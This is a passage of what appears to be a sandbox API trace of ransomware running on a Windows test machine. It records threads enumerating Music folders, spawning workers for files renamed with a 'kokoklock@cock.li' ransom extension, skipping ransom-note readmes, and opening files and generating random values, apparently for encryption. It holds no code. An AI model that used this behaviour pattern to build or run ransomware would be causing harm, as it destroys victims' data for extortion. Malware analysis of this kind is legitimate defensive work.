= 1890 os_tid = 0x5a8 [0170.240] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2fa4b40 [0170.240] wcscpy (in: _Dest=0x2fa4b40, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0170.240] wcscat (in: _Dest=0x2fa4b40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0170.240] wcscat (in: _Dest=0x2fa4b40, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\*") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\*" [0170.240] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021178 [0170.240] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\*", lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e95dd0, ftCreationTime.dwHighDateTime=0x1d4cb77, ftLastAccessTime.dwLowDateTime=0x84c92dd2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84c92dd2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045a28 [0170.242] wcscmp (_String1=".", _String2=".") returned 0 [0170.242] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e95dd0, ftCreationTime.dwHighDateTime=0x1d4cb77, ftLastAccessTime.dwLowDateTime=0x84c92dd2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84c92dd2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.242] wcscmp (_String1="..", _String2=".") returned 1 [0170.243] wcscmp (_String1="..", _String2="..") returned 0 [0170.243] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc215cec0, ftCreationTime.dwHighDateTime=0x1d4ce58, ftLastAccessTime.dwLowDateTime=0xbd6150c0, ftLastAccessTime.dwHighDateTime=0x1d4ce3f, ftLastWriteTime.dwLowDateTime=0x84bfa557, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x4460, dwReserved0=0x0, dwReserved1=0x0, cFileName="9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="9K1YSQ~1.D0E")) returned 1 [0170.243] wcscmp (_String1="9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.243] wcscmp (_String1="9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.243] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f9f270 [0170.243] wcscpy (in: _Dest=0x2f9f270, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0170.243] wcscat (in: _Dest=0x2f9f270, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0170.243] wcscat (in: _Dest=0x2f9f270, _Source="9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\9K1ysq099GEfJ.mp3.mailto[kokoklock@cock.li].d0e731" [0170.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9f270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d0 [0170.942] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab09560, ftCreationTime.dwHighDateTime=0x1d4c9e2, ftLastAccessTime.dwLowDateTime=0x10a157e0, ftLastAccessTime.dwHighDateTime=0x1d4ce03, ftLastWriteTime.dwLowDateTime=0x84c20720, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="C7FU2U~1.D0E")) returned 1 [0170.942] wcscmp (_String1="C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.942] wcscmp (_String1="C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.942] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0aaf8 [0170.942] wcscpy (in: _Dest=0x4f0aaf8, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0170.942] wcscat (in: _Dest=0x4f0aaf8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0170.942] wcscat (in: _Dest=0x4f0aaf8, _Source="C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\C7FU2uJyzcFmW_CXsSC.mp3.mailto[kokoklock@cock.li].d0e731" [0170.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0aaf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f4 [0170.943] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bfa557, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84bfa557, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84bfa557, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0170.943] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0170.943] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0170.943] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dbf37f0, ftCreationTime.dwHighDateTime=0x1d4cf19, ftLastAccessTime.dwLowDateTime=0x86ac31ca, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x86ac31ca, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IOn-Zuuuu rn3l18", cAlternateFileName="ION-ZU~1")) returned 1 [0170.943] wcscmp (_String1="IOn-Zuuuu rn3l18", _String2=".") returned 1 [0170.943] wcscmp (_String1="IOn-Zuuuu rn3l18", _String2="..") returned 1 [0170.943] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0170.943] wcscpy (in: _Dest=0x2f96b70, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0170.943] wcscat (in: _Dest=0x2f96b70, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0170.943] wcscat (in: _Dest=0x2f96b70, _Source="IOn-Zuuuu rn3l18" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18" [0170.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f96b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0170.944] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a639070, ftCreationTime.dwHighDateTime=0x1d4ccfb, ftLastAccessTime.dwLowDateTime=0xa4c7e990, ftLastAccessTime.dwHighDateTime=0x1d4cf82, ftLastWriteTime.dwLowDateTime=0x84c46951, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x18d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="KXMDMG~1.D0E")) returned 1 [0170.944] wcscmp (_String1="kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.944] wcscmp (_String1="kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.944] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f9db30 [0170.944] wcscpy (in: _Dest=0x2f9db30, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0170.944] wcscat (in: _Dest=0x2f9db30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0170.944] wcscat (in: _Dest=0x2f9db30, _Source="kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731" [0170.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9db30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8fc [0170.945] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5620180, ftCreationTime.dwHighDateTime=0x1d4cfbb, ftLastAccessTime.dwLowDateTime=0xc15622a0, ftLastAccessTime.dwHighDateTime=0x1d4cee4, ftLastWriteTime.dwLowDateTime=0x84c92dd2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x526d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VDJXCA~1.D0E")) returned 1 [0170.945] wcscmp (_String1="vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.945] wcscmp (_String1="vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.945] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x4f0ae18 [0170.945] wcscpy (in: _Dest=0x4f0ae18, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0170.945] wcscat (in: _Dest=0x4f0ae18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0170.945] wcscat (in: _Dest=0x4f0ae18, _Source="vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731" [0170.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f0ae18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0170.946] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5620180, ftCreationTime.dwHighDateTime=0x1d4cfbb, ftLastAccessTime.dwLowDateTime=0xc15622a0, ftLastAccessTime.dwHighDateTime=0x1d4cee4, ftLastWriteTime.dwLowDateTime=0x84c92dd2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x526d, dwReserved0=0x0, dwReserved1=0x0, cFileName="vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VDJXCA~1.D0E")) returned 0 [0170.946] FindClose (in: hFindFile=0x3045a28 | out: hFindFile=0x3045a28) returned 1 [0170.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021178) returned 1 [0170.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4b40) returned 1 [0170.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ae98) returned 1 [0170.947] RtlExitUserThread (Status=0x0) Thread: id = 1891 os_tid = 0xcc4 [0170.243] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x54) returned 0x2fa4900 [0170.243] wcscpy (in: _Dest=0x2fa4900, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0170.243] wcscat (in: _Dest=0x2fa4900, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0170.243] wcscat (in: _Dest=0x2fa4900, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\*") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\*" [0170.243] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022e58 [0170.243] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\*", lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556f0ae0, ftCreationTime.dwHighDateTime=0x1d4cd52, ftLastAccessTime.dwLowDateTime=0x84bd41ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84bd41ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045a68 [0170.245] wcscmp (_String1=".", _String2=".") returned 0 [0170.245] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556f0ae0, ftCreationTime.dwHighDateTime=0x1d4cd52, ftLastAccessTime.dwLowDateTime=0x84bd41ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84bd41ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.245] wcscmp (_String1="..", _String2=".") returned 1 [0170.245] wcscmp (_String1="..", _String2="..") returned 0 [0170.245] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b65b830, ftCreationTime.dwHighDateTime=0x1d4d183, ftLastAccessTime.dwLowDateTime=0xae5861f0, ftLastAccessTime.dwHighDateTime=0x1d4d51e, ftLastWriteTime.dwLowDateTime=0x84b61b15, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2a45, dwReserved0=0x0, dwReserved1=0x0, cFileName="0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="0_XOAE~1.D0E")) returned 1 [0170.245] wcscmp (_String1="0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.246] wcscmp (_String1="0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.246] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83960 [0170.246] wcscpy (in: _Dest=0x2f83960, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0170.246] wcscat (in: _Dest=0x2f83960, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0170.246] wcscat (in: _Dest=0x2f83960, _Source="0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\0_XOaEVDN0.wav.mailto[kokoklock@cock.li].d0e731" [0170.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6d4 [0170.937] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b61b15, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84b61b15, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84b61b15, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0170.938] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0170.938] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0170.938] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63877de0, ftCreationTime.dwHighDateTime=0x1d4d416, ftLastAccessTime.dwLowDateTime=0xc0c39eb0, ftLastAccessTime.dwHighDateTime=0x1d4d5cb, ftLastWriteTime.dwLowDateTime=0x84badfed, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf805, dwReserved0=0x0, dwReserved1=0x0, cFileName="fihvl.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="FIHVLW~1.D0E")) returned 1 [0170.938] wcscmp (_String1="fihvl.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.938] wcscmp (_String1="fihvl.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.938] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f919d0 [0170.938] wcscpy (in: _Dest=0x2f919d0, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0170.938] wcscat (in: _Dest=0x2f919d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0170.938] wcscat (in: _Dest=0x2f919d0, _Source="fihvl.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\fihvl.wav.mailto[kokoklock@cock.li].d0e731" [0170.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f919d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ec [0170.939] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9c1290, ftCreationTime.dwHighDateTime=0x1d4d3ed, ftLastAccessTime.dwLowDateTime=0xafc07b70, ftLastAccessTime.dwHighDateTime=0x1d4d052, ftLastWriteTime.dwLowDateTime=0x84bd41ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiV7.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SIV7WA~1.D0E")) returned 1 [0170.939] wcscmp (_String1="SiV7.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.939] wcscmp (_String1="SiV7.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.939] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f91a80 [0170.939] wcscpy (in: _Dest=0x2f91a80, _Source="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0170.939] wcscat (in: _Dest=0x2f91a80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\" [0170.939] wcscat (in: _Dest=0x2f91a80, _Source="SiV7.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms\\SiV7.wav.mailto[kokoklock@cock.li].d0e731" [0170.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0 [0170.940] FindNextFileW (in: hFindFile=0x3045a68, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9c1290, ftCreationTime.dwHighDateTime=0x1d4d3ed, ftLastAccessTime.dwLowDateTime=0xafc07b70, ftLastAccessTime.dwHighDateTime=0x1d4d052, ftLastWriteTime.dwLowDateTime=0x84bd41ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x8e0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiV7.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SIV7WA~1.D0E")) returned 0 [0170.940] FindClose (in: hFindFile=0x3045a68 | out: hFindFile=0x3045a68) returned 1 [0170.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022e58) returned 1 [0170.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4900) returned 1 [0170.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88e70) returned 1 [0170.940] RtlExitUserThread (Status=0x0) Thread: id = 1892 os_tid = 0x370 [0170.248] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\mpk k-jq.wav.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.249] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\mpk k-jq.wav.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0170.249] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0x1206f7d8 | out: lpFileSize=0x1206f7d8*=33791) returned 1 [0170.249] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x83fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.249] ReadFile (in: hFile=0x6d4, lpBuffer=0x1206f7ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1206f7a8, lpOverlapped=0x0 | out: lpBuffer=0x1206f7ac*, lpNumberOfBytesRead=0x1206f7a8*=0x4, lpOverlapped=0x0) returned 1 [0170.250] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0170.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0170.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0170.250] NtQuerySystemTime (in: CurrentTime=0x1206f784 | out: CurrentTime=0x1206f784*=132121213275689066) returned 0x0 [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x48ae64e7 [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x1975066d [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x813eb801 [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0xf2916565 [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) returned 0x8610920c [0170.250] RtlRandom (in: Seed=0x1206f790 | out: Seed=0x1206f790) 